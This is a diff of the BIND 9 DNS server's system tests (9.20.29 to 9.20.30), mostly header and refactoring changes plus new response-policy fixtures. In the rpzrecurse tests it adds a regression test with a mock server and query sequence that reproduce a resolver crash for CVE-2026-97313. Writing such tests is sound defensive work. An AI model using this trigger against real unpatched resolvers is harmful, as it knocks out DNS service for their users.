bind9-9.20.30/bin/tests/system/rollover/tests_rollover_lifetime_reconfig.py --- bind9-9.20.29/bin/tests/system/rollover/tests_rollover_lifetime_reconfig.py 2026-09-11 19:41:01.335327022 +0000 +++ bind9-9.20.30/bin/tests/system/rollover/tests_rollover_lifetime_reconfig.py 2026-10-12 13:12:08.245896448 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rollover/tests_rollover_manual.py bind9-9.20.30/bin/tests/system/rollover/tests_rollover_manual.py --- bind9-9.20.29/bin/tests/system/rollover/tests_rollover_manual.py 2026-09-11 19:41:01.335327022 +0000 +++ bind9-9.20.30/bin/tests/system/rollover/tests_rollover_manual.py 2026-10-12 13:12:08.245896448 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rollover/tests_rollover_multisigner.py bind9-9.20.30/bin/tests/system/rollover/tests_rollover_multisigner.py --- bind9-9.20.29/bin/tests/system/rollover/tests_rollover_multisigner.py 2026-09-11 19:41:01.335327022 +0000 +++ bind9-9.20.30/bin/tests/system/rollover/tests_rollover_multisigner.py 2026-10-12 13:12:08.245896448 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rollover/tests_rollover_straight2none_initial.py bind9-9.20.30/bin/tests/system/rollover/tests_rollover_straight2none_initial.py --- bind9-9.20.29/bin/tests/system/rollover/tests_rollover_straight2none_initial.py 2026-09-11 19:41:01.335327022 +0000 +++ bind9-9.20.30/bin/tests/system/rollover/tests_rollover_straight2none_initial.py 2026-10-12 13:12:08.245896448 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rollover/tests_rollover_straight2none_reconfig.py bind9-9.20.30/bin/tests/system/rollover/tests_rollover_straight2none_reconfig.py --- bind9-9.20.29/bin/tests/system/rollover/tests_rollover_straight2none_reconfig.py 2026-09-11 19:41:01.336327046 +0000 +++ bind9-9.20.30/bin/tests/system/rollover/tests_rollover_straight2none_reconfig.py 2026-10-12 13:12:08.245896448 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rollover/tests_rollover_three_is_a_crowd.py bind9-9.20.30/bin/tests/system/rollover/tests_rollover_three_is_a_crowd.py --- bind9-9.20.29/bin/tests/system/rollover/tests_rollover_three_is_a_crowd.py 2026-09-11 19:41:01.336327046 +0000 +++ bind9-9.20.30/bin/tests/system/rollover/tests_rollover_three_is_a_crowd.py 2026-10-12 13:12:08.245896448 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -51,7 +51,9 @@ def test_rollover_ksk_three_is_a_crowd(ns3, default_algorithm): - """Test #2375: Scheduled rollovers are happening faster than they can finish.""" + """ + Test #2375: Scheduled rollovers are happening faster than they can finish. + """ zone = "three-is-a-crowd.kasp" isctest.kasp.wait_keymgr_done(ns3, zone) diff -Nru bind9-9.20.29/bin/tests/system/rollover/tests_rollover_zsk_prepublication.py bind9-9.20.30/bin/tests/system/rollover/tests_rollover_zsk_prepublication.py --- bind9-9.20.29/bin/tests/system/rollover/tests_rollover_zsk_prepublication.py 2026-09-11 19:41:01.336327046 +0000 +++ bind9-9.20.30/bin/tests/system/rollover/tests_rollover_zsk_prepublication.py 2026-10-12 13:12:08.245896448 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rootkeysentinel/tests_sh_rootkeysentinel.py bind9-9.20.30/bin/tests/system/rootkeysentinel/tests_sh_rootkeysentinel.py --- bind9-9.20.29/bin/tests/system/rootkeysentinel/tests_sh_rootkeysentinel.py 2026-09-11 19:41:01.337327070 +0000 +++ bind9-9.20.30/bin/tests/system/rootkeysentinel/tests_sh_rootkeysentinel.py 2026-10-12 13:12:08.247896490 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rpz/ns11/named.conf.j2 bind9-9.20.30/bin/tests/system/rpz/ns11/named.conf.j2 --- bind9-9.20.29/bin/tests/system/rpz/ns11/named.conf.j2 2026-09-11 19:41:01.338327094 +0000 +++ bind9-9.20.30/bin/tests/system/rpz/ns11/named.conf.j2 2026-10-12 13:12:08.247896490 +0000 @@ -16,6 +16,8 @@ {% include "_common/controls.conf.j2" %} +{% include "_common/root.hint.conf" %} + zone "0.0.127.in-addr.arpa" { type primary; file "0.0.127.in-addr.arpa.db"; diff -Nru bind9-9.20.29/bin/tests/system/rpz/tests_rpz_6407.py bind9-9.20.30/bin/tests/system/rpz/tests_rpz_6407.py --- bind9-9.20.29/bin/tests/system/rpz/tests_rpz_6407.py 2026-09-11 19:41:01.344327238 +0000 +++ bind9-9.20.30/bin/tests/system/rpz/tests_rpz_6407.py 2026-10-12 13:12:08.253896619 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rpz/tests_rpz_outofzone.py bind9-9.20.30/bin/tests/system/rpz/tests_rpz_outofzone.py --- bind9-9.20.29/bin/tests/system/rpz/tests_rpz_outofzone.py 2026-09-11 19:41:01.344327238 +0000 +++ bind9-9.20.30/bin/tests/system/rpz/tests_rpz_outofzone.py 2026-10-12 13:12:08.253896619 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rpz/tests_sh_rpz.py bind9-9.20.30/bin/tests/system/rpz/tests_sh_rpz.py --- bind9-9.20.29/bin/tests/system/rpz/tests_sh_rpz.py 2026-09-11 19:41:01.344327238 +0000 +++ bind9-9.20.30/bin/tests/system/rpz/tests_sh_rpz.py 2026-10-12 13:12:08.253896619 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rpz/tests_sh_rpz_dnsrps.py bind9-9.20.30/bin/tests/system/rpz/tests_sh_rpz_dnsrps.py --- bind9-9.20.29/bin/tests/system/rpz/tests_sh_rpz_dnsrps.py 2026-09-11 19:41:01.344327238 +0000 +++ bind9-9.20.30/bin/tests/system/rpz/tests_sh_rpz_dnsrps.py 2026-10-12 13:12:08.253896619 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rpzextra/tests_rpzextra.py bind9-9.20.30/bin/tests/system/rpzextra/tests_rpzextra.py --- bind9-9.20.29/bin/tests/system/rpzextra/tests_rpzextra.py 2026-09-11 19:41:01.345327261 +0000 +++ bind9-9.20.30/bin/tests/system/rpzextra/tests_rpzextra.py 2026-10-12 13:12:08.254896640 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rpzrecurse/ans5/ans.py bind9-9.20.30/bin/tests/system/rpzrecurse/ans5/ans.py --- bind9-9.20.29/bin/tests/system/rpzrecurse/ans5/ans.py 2026-09-11 19:41:01.345327261 +0000 +++ bind9-9.20.30/bin/tests/system/rpzrecurse/ans5/ans.py 2026-10-12 13:12:08.255896661 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator @@ -17,18 +15,13 @@ import dns.rdatatype import dns.rrset -from isctest.asyncserver import ( - AsyncDnsServer, - DnsResponseSend, - QueryContext, - ResponseDrop, - ResponseHandler, -) +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend, ResponseDrop +from isctest.asyncserver.matchers import Qtype class ReplyA(ResponseHandler): - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.A + matcher = Qtype(dns.rdatatype.A) async def get_responses( self, qctx: QueryContext @@ -41,8 +34,7 @@ class IgnoreNs(ResponseHandler): - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.NS + matcher = Qtype(dns.rdatatype.NS) async def get_responses( self, qctx: QueryContext diff -Nru bind9-9.20.29/bin/tests/system/rpzrecurse/ans7/ans.py bind9-9.20.30/bin/tests/system/rpzrecurse/ans7/ans.py --- bind9-9.20.29/bin/tests/system/rpzrecurse/ans7/ans.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/rpzrecurse/ans7/ans.py 2026-10-12 13:12:08.255896661 +0000 @@ -0,0 +1,58 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +from collections.abc import AsyncGenerator + +import dns.rcode +import dns.rdatatype +import dns.rrset + +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Qname, Qtype + + +class ReplyA(ResponseHandler): + matcher = Qname("trigger.cve-2026-97313.test.") & Qtype(dns.rdatatype.A) + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + a_rrset = dns.rrset.from_text( + qctx.qname, 300, qctx.qclass, dns.rdatatype.A, "10.53.0.99" + ) + qctx.response.answer.append(a_rrset) + yield DnsResponseSend(qctx.response) + + +class ReplyDefault(ResponseHandler): + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + soa_rrset = dns.rrset.from_text( + ".", + 1, # Important: this should be 1 so it expires early + qctx.qclass, + dns.rdatatype.SOA, + "a.root-servers.test. root.test. 1 3600 1200 604800 1", + ) + qctx.response.authority.append(soa_rrset) + yield DnsResponseSend(qctx.response) + + +def main() -> None: + server = AsyncDnsServer(default_aa=True, default_rcode=dns.rcode.NOERROR) + server.install_response_handlers(ReplyA(), ReplyDefault()) + server.run() + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.29/bin/tests/system/rpzrecurse/ns1/root.db bind9-9.20.30/bin/tests/system/rpzrecurse/ns1/root.db --- bind9-9.20.29/bin/tests/system/rpzrecurse/ns1/root.db 2026-09-11 19:41:01.346327285 +0000 +++ bind9-9.20.30/bin/tests/system/rpzrecurse/ns1/root.db 2026-10-12 13:12:08.255896661 +0000 @@ -20,5 +20,11 @@ @ NS ns.example. ns.example. A 10.53.0.1 +seed.client-reuse. A 192.0.2.11 +blocked.client-reuse. A 192.0.2.10 + l0. NS ns.l0. ns.l0. A 10.53.0.1 + +cve-2026-97313.test NS ns.cve-2026-97313.test. +ns.cve-2026-97313.test A 10.53.0.7 diff -Nru bind9-9.20.29/bin/tests/system/rpzrecurse/ns2/db.nsdname bind9-9.20.30/bin/tests/system/rpzrecurse/ns2/db.nsdname --- bind9-9.20.29/bin/tests/system/rpzrecurse/ns2/db.nsdname 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/rpzrecurse/ns2/db.nsdname 2026-10-12 13:12:08.256896683 +0000 @@ -0,0 +1,15 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 +@ IN SOA localhost. root.localhost. ( 1 3600 1200 604800 300 ) +@ IN NS localhost. +ns.example.com.rpz-nsdname IN CNAME . diff -Nru bind9-9.20.29/bin/tests/system/rpzrecurse/ns2/db.rpzip bind9-9.20.30/bin/tests/system/rpzrecurse/ns2/db.rpzip --- bind9-9.20.29/bin/tests/system/rpzrecurse/ns2/db.rpzip 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/rpzrecurse/ns2/db.rpzip 2026-10-12 13:12:08.256896683 +0000 @@ -0,0 +1,15 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 +@ IN SOA localhost. root.localhost. ( 1 3600 1200 604800 300 ) +@ IN NS localhost. +32.1.2.0.192.rpz-ip IN CNAME . diff -Nru bind9-9.20.29/bin/tests/system/rpzrecurse/ns2/named.cve-2026-97313.conf bind9-9.20.30/bin/tests/system/rpzrecurse/ns2/named.cve-2026-97313.conf --- bind9-9.20.29/bin/tests/system/rpzrecurse/ns2/named.cve-2026-97313.conf 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/rpzrecurse/ns2/named.cve-2026-97313.conf 2026-10-12 13:12:08.257896704 +0000 @@ -0,0 +1,21 @@ +# common configuration +include "named.conf.header"; + +view "recursive" { + response-policy { + zone "nsdname.zone" recursive-only no; + zone "rpzip.zone"; + } + nsdname-enable yes + nsip-enable yes; + + zone "nsdname.zone" { type primary; file "db.nsdname"; }; + zone "rpzip.zone" { type primary; file "db.rpzip"; }; + + zone "." { + type hint; + file "root.hint"; + }; + + recursion yes; +}; diff -Nru bind9-9.20.29/bin/tests/system/rpzrecurse/ns8/named.args bind9-9.20.30/bin/tests/system/rpzrecurse/ns8/named.args --- bind9-9.20.29/bin/tests/system/rpzrecurse/ns8/named.args 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/rpzrecurse/ns8/named.args 2026-10-12 13:12:08.259896747 +0000 @@ -0,0 +1 @@ +-n 1 -D rpzrecurse-ns8 -m record -c named.conf -d 99 -g diff -Nru bind9-9.20.29/bin/tests/system/rpzrecurse/ns8/named.conf.j2 bind9-9.20.30/bin/tests/system/rpzrecurse/ns8/named.conf.j2 --- bind9-9.20.29/bin/tests/system/rpzrecurse/ns8/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/rpzrecurse/ns8/named.conf.j2 2026-10-12 13:12:08.259896747 +0000 @@ -0,0 +1,31 @@ +options { + {% include_indented "_common/options.conf.j2" %} + session-keyfile "session.key"; + dnssec-validation no; + recursion yes; + allow-recursion { any; }; + allow-query-cache { any; }; +}; + +{% include "_common/controls.conf.j2" %} + +view "recursive" { + match-clients { any; }; + match-recursive-only yes; + response-policy { zone "recursive-policy" recursive-only yes; }; + zone "." { type hint; file "root.hint"; }; + zone "recursive-policy" { + type primary; + file "recursive-policy.db"; + }; +}; + +view "nonrecursive" { + match-clients { any; }; + response-policy { zone "nonrecursive-policy" recursive-only no; }; + zone "." { type hint; file "root.hint"; }; + zone "nonrecursive-policy" { + type primary; + file "nonrecursive-policy.db"; + }; +}; diff -Nru bind9-9.20.29/bin/tests/system/rpzrecurse/ns8/nonrecursive-policy.db bind9-9.20.30/bin/tests/system/rpzrecurse/ns8/nonrecursive-policy.db --- bind9-9.20.29/bin/tests/system/rpzrecurse/ns8/nonrecursive-policy.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/rpzrecurse/ns8/nonrecursive-policy.db 2026-10-12 13:12:08.259896747 +0000 @@ -0,0 +1,8 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; SPDX-License-Identifier: MPL-2.0 + +$TTL 300 +@ IN SOA localhost. hostmaster.localhost. 1 300 300 300 300 + IN NS localhost. +seed.client-reuse IN CNAME *. +blocked.client-reuse IN CNAME *. diff -Nru bind9-9.20.29/bin/tests/system/rpzrecurse/ns8/recursive-policy.db bind9-9.20.30/bin/tests/system/rpzrecurse/ns8/recursive-policy.db --- bind9-9.20.29/bin/tests/system/rpzrecurse/ns8/recursive-policy.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/rpzrecurse/ns8/recursive-policy.db 2026-10-12 13:12:08.259896747 +0000 @@ -0,0 +1,7 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; SPDX-License-Identifier: MPL-2.0 + +$TTL 300 +@ IN SOA localhost. hostmaster.localhost. 1 300 300 300 300 + IN NS localhost. +blocked.client-reuse IN CNAME . diff -Nru bind9-9.20.29/bin/tests/system/rpzrecurse/ns8/root.hint bind9-9.20.30/bin/tests/system/rpzrecurse/ns8/root.hint --- bind9-9.20.29/bin/tests/system/rpzrecurse/ns8/root.hint 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/rpzrecurse/ns8/root.hint 2026-10-12 13:12:08.259896747 +0000 @@ -0,0 +1,3 @@ +$TTL 999999 +. IN NS ns.example. +ns.example. IN A 10.53.0.1 diff -Nru bind9-9.20.29/bin/tests/system/rpzrecurse/tests.sh bind9-9.20.30/bin/tests/system/rpzrecurse/tests.sh --- bind9-9.20.29/bin/tests/system/rpzrecurse/tests.sh 2026-09-11 19:41:01.349327357 +0000 +++ bind9-9.20.30/bin/tests/system/rpzrecurse/tests.sh 2026-10-12 13:12:08.259896747 +0000 @@ -472,9 +472,9 @@ echo_i "timing 'nsip-wait-recurse yes' (default)" produce_librpz_rules ns3 policy policy ret=0 - t1=$($PERL -e 'print time()."\n";') + t1=$(date +%s) $DIG -p ${PORT} @10.53.0.3 foo.child.example.tld a >dig.out.yes.$t - t2=$($PERL -e 'print time()."\n";') + t2=$(date +%s) p1=$((t2 - t1)) echo_i "elapsed time $p1 seconds" @@ -486,9 +486,9 @@ echo_i "timing 'nsip-wait-recurse no'" echo "update zone policy 0 no_nsip_wait_recurse" >$DNSRPS_TEST_UPDATE_FILE - t3=$($PERL -e 'print time()."\n";') + t3=$(date +%s) $DIG -p ${PORT} @10.53.0.3 foo.child.example.tld a >dig.out.no.$t - t4=$($PERL -e 'print time()."\n";') + t4=$(date +%s) p2=$((t4 - t3)) echo_i "elapsed time $p2 seconds" @@ -508,9 +508,9 @@ add_test_marker 10.53.0.2 10.53.0.3 echo_i "timing 'nsdname-wait-recurse yes' (default)" ret=0 - t1=$($PERL -e 'print time()."\n";') + t1=$(date +%s) $DIG -p ${PORT} @10.53.0.3 foo.child.example.tld a >dig.out.yes.$t - t2=$($PERL -e 'print time()."\n";') + t2=$(date +%s) p1=$((t2 - t1)) echo_i "elapsed time $p1 seconds" @@ -521,14 +521,30 @@ wait_for_log 20 "rpz: policy: reload done" ns3/named.run || ret=1 echo_i "timing 'nsdname-wait-recurse no'" - t3=$($PERL -e 'print time()."\n";') + t3=$(date +%s) $DIG -p ${PORT} @10.53.0.3 foo.child.example.tld a >dig.out.no.$t - t4=$($PERL -e 'print time()."\n";') + t4=$(date +%s) p2=$((t4 - t3)) echo_i "elapsed time $p2 seconds" if test $p1 -le $p2; then ret=1; fi if test $ret != 0; then echo_i "failed"; fi + + t=$((t + 1)) + echo_i "testing RD=0 crash described in GL#6408 [CVE-2026-97313] (${t})" + run_server cve-2026-97313 + $DIG $DIGOPTS trigger.cve-2026-97313.test a @10.53.0.2 -p ${PORT} >dig.out.${t}.1 || status=1 + grep "status: NOERROR" dig.out.${t}.1 >/dev/null || { + echo_i "test ${t} failed" + status=1 + } + sleep 2 # wait for SOA with TTL=1 to expire + $DIG $DIGOPTS +norecurse +tries=1 trigger.cve-2026-97313.test a @10.53.0.2 -p ${PORT} >dig.out.${t}.2 + grep "status: NOERROR" dig.out.${t}.2 >/dev/null || { + echo_i "test ${t} failed" + status=1 + } + status=$((status + ret)) fi diff -Nru bind9-9.20.29/bin/tests/system/rpzrecurse/tests_client_reuse.py bind9-9.20.30/bin/tests/system/rpzrecurse/tests_client_reuse.py --- bind9-9.20.29/bin/tests/system/rpzrecurse/tests_client_reuse.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/rpzrecurse/tests_client_reuse.py 2026-10-12 13:12:08.259896747 +0000 @@ -0,0 +1,44 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +import pytest + +import isctest + +pytestmark = pytest.mark.extra_artifacts( + [ + "dnsrps.cache", + "dnsrps.conf", + "ans*/ans.run", + "ns2/*.queries", + "ns2/*.local", + "ns2/named.*.conf", + "ns2/named.conf.header", + "ns8/named.args", + ] +) + + +def query(ns8, qname, rd): + message = isctest.query.create(qname, "A", dnssec=False, rd=rd) + return isctest.query.udp(message, ns8.ip, expected_rcode=None, attempts=1) + + +def test_rpz_recursion_eligibility_after_udp_client_reuse(ns8): + seed = query(ns8, "seed.client-reuse.", rd=False) + isctest.check.noerror(seed) + isctest.check.empty_answer(seed) + isctest.check.nordflag(seed) + + answer = query(ns8, "blocked.client-reuse.", rd=True) + isctest.check.nxdomain(answer) + isctest.check.empty_answer(answer) + isctest.check.rdflag(answer) diff -Nru bind9-9.20.29/bin/tests/system/rpzrecurse/tests_sh_rpzrecurse.py bind9-9.20.30/bin/tests/system/rpzrecurse/tests_sh_rpzrecurse.py --- bind9-9.20.29/bin/tests/system/rpzrecurse/tests_sh_rpzrecurse.py 2026-09-11 19:41:01.349327357 +0000 +++ bind9-9.20.30/bin/tests/system/rpzrecurse/tests_sh_rpzrecurse.py 2026-10-12 13:12:08.259896747 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -16,7 +16,6 @@ "dig.out.*", "dnsrps.cache", "dnsrps.conf", - "ans*/ans.run", "ns2/*.queries", "ns2/*.local", "ns2/named.*.conf", diff -Nru bind9-9.20.29/bin/tests/system/rpzrecurse/tests_sh_rpzrecurse_dnsrps.py bind9-9.20.30/bin/tests/system/rpzrecurse/tests_sh_rpzrecurse_dnsrps.py --- bind9-9.20.29/bin/tests/system/rpzrecurse/tests_sh_rpzrecurse_dnsrps.py 2026-09-11 19:41:01.349327357 +0000 +++ bind9-9.20.30/bin/tests/system/rpzrecurse/tests_sh_rpzrecurse_dnsrps.py 2026-10-12 13:12:08.259896747 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -20,7 +20,6 @@ "dig.out.*", "dnsrps.cache", "dnsrps.conf", - "ans*/ans.run", "ns2/*.queries", "ns2/*.local", "ns2/named.*.conf", diff -Nru bind9-9.20.29/bin/tests/system/rrchecker/tests_rrchecker.py bind9-9.20.30/bin/tests/system/rrchecker/tests_rrchecker.py --- bind9-9.20.29/bin/tests/system/rrchecker/tests_rrchecker.py 2026-09-11 19:41:01.349327357 +0000 +++ bind9-9.20.30/bin/tests/system/rrchecker/tests_rrchecker.py 2026-10-12 13:12:08.259896747 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rrl/tests.sh bind9-9.20.30/bin/tests/system/rrl/tests.sh --- bind9-9.20.29/bin/tests/system/rrl/tests.sh 2026-09-11 19:41:01.351327405 +0000 +++ bind9-9.20.30/bin/tests/system/rrl/tests.sh 2026-10-12 13:12:08.261896790 +0000 @@ -61,7 +61,7 @@ if test "$START" != "$NOW"; then return fi - $PERL -e 'select(undef, undef, undef, 0.05)' || true + $PYTHON -c 'import time; time.sleep(0.05)' || true done } @@ -83,7 +83,7 @@ CNT=$XCNT DOMS="" - CNTS=$($PERL -e 'for ( $i = 0; $i < '$BURST_LIMIT'; $i++) { printf "%03d\n", '$QNUM' + $i; }') + CNTS=$(awk -v n="$BURST_LIMIT" -v q="$QNUM" 'BEGIN { for (i = 0; i < n; i++) printf "%03d\n", q + i; }') for CNT in $CNTS; do eval BURST_DOM="$BURST_DOM_BASE" DOMS="$DOMS $BURST_DOM" @@ -105,7 +105,8 @@ # compare integers $1 and $2; ensure the difference is no more than $3 range() { - $PERL -e 'if (abs(int($ARGV[0]) - int($ARGV[1])) > int($ARGV[2])) { exit(1) }' $1 $2 $3 + _diff=$(($1 - $2)) + [ "${_diff#-}" -le "$3" ] } # $1=domain $2=IP address $3=# of IP addresses $4=TC $5=drop diff -Nru bind9-9.20.29/bin/tests/system/rrl/tests_sh_rrl.py bind9-9.20.30/bin/tests/system/rrl/tests_sh_rrl.py --- bind9-9.20.29/bin/tests/system/rrl/tests_sh_rrl.py 2026-09-11 19:41:01.351327405 +0000 +++ 